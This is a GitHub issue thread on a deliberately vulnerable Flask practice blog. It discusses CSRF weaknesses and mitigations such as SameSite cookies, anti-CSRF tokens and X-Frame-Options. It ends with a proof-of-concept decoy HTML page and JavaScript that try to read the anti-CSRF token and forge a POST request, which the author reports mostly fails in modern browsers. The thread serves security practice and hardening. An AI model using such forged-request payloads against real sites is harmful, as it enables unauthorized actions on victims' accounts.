bkesk / bad-apps-blog

An insecure blog web app intended for practice with application security.
Other
0 stars 0 forks source link

Vulnerable to CSRF #8

Open bkesk opened 2 years ago

bkesk commented 2 years ago

Bad Apps: Blog uses the Flask framework, which does not have form validation built-in. All authenticated POST endpoints are vulnerable to CSRF.

Chromium-based browsers enforce the sameSite: Strict cookie flag by default which protects against many simple CSRF payloads. It is easy to configure a Flask app to enforce this in all browsers by adding the following to config.py.

SESSION_COOKIE_SAMESITE='Strict'

This should be added to the configuration generator cli tool.

bkesk commented 2 years ago

A better mitigation is to use an anti-CSRF token in any forms that we want to protect. There are no GET requests that lead to changes within the application at the moment, so no CSRF protection is necessary on GET requests for now. This could change in the future.

bkesk commented 2 years ago

Bad Apps: Blog may still be vulnerable to slightly more sophisticated CSRF attacks.

Currently, an anti-CSRF token is passed to the user via a hidden form field. A malicious site can serve JavaScript that can perform a GET request within an iframe (for example), and steal the token before crafting a POST request against a protected end point.

Some other ideas for CSRF mitigation: https://brightsec.com/blog/csrf-mitigation

bkesk commented 2 years ago

A proof of concept (POC) CSRF payload which attempts to steal the anti-CSRF token is included below. In practice, it doesn't work on most browsers due to same-origin policy of the JavaScript fetch API. While the provided POC does generate the desired requests, the script can't access the response data in Firefox. In Chromium-based browsers, the default "same-sate: strict" cookie flag prevents the GET request from including the session cookie at all, so no CSRF token is included in the response. All of this is easily confirmed using Burp proxy or similar.

As far as protecting Bad Apps: Blog, currently, the default configuration sets the "Same-Site: Strict" flag on session cookies which prevents an authenticated request from being generated by JS. Also, modern browsers will apply the same origin policy to the fetch API, and the XMLHttpRequest class in JavaScript, preventing access to an anti-CSRF token included within a response. As another layer of defense, it is probably a good idea to tell browsers that Bad Apps: Blog should not be treated as embeddable by setting: X-Frame-Options: DENY. This can be done within the app by setting:

response.headers['X-Frame-Options'] = 'DENY'

(or maybe 'SAMEORIGIN'

Here is the POC HTML,

<html>
<title>A Safe Website... </title>

<body>
<h1>Hello</h1>
<b>This is a super legit website ;)</b>
<script src="fancy_csrf.js"></script>
</body>
</html>

which loads the following POC script ( called "fancy_csrf.js" above).

const re = /[abcdef0123456789]{32,}/;
url = "http://[ url for Bad Apps: Blog here ]:5000/create"

fetch(url, {credentials: "include"}).then(
    function(response) {
        // process the text in the response
        response.text().then(function(data){
            console.log(data);
            const csrf_token = data.match(re)[0];

            console.log("CSRF Token is: ", csrf_token)

            const body_string = 'title=CSRF+TEST+2&body=just+a+test+CSRF+token+stolen&form_number=' + csrf_token; 

            const response2 = fetch(url, {
                method: 'POST',
                cache: 'no-cache',
                credentials: 'include',
                redirect: 'follow',
                referrerPolicy: 'no-referrer',
                body: body_string
            });
        })

    }
).catch(function(err) {
    console.log('Error from fetch API',  err)
});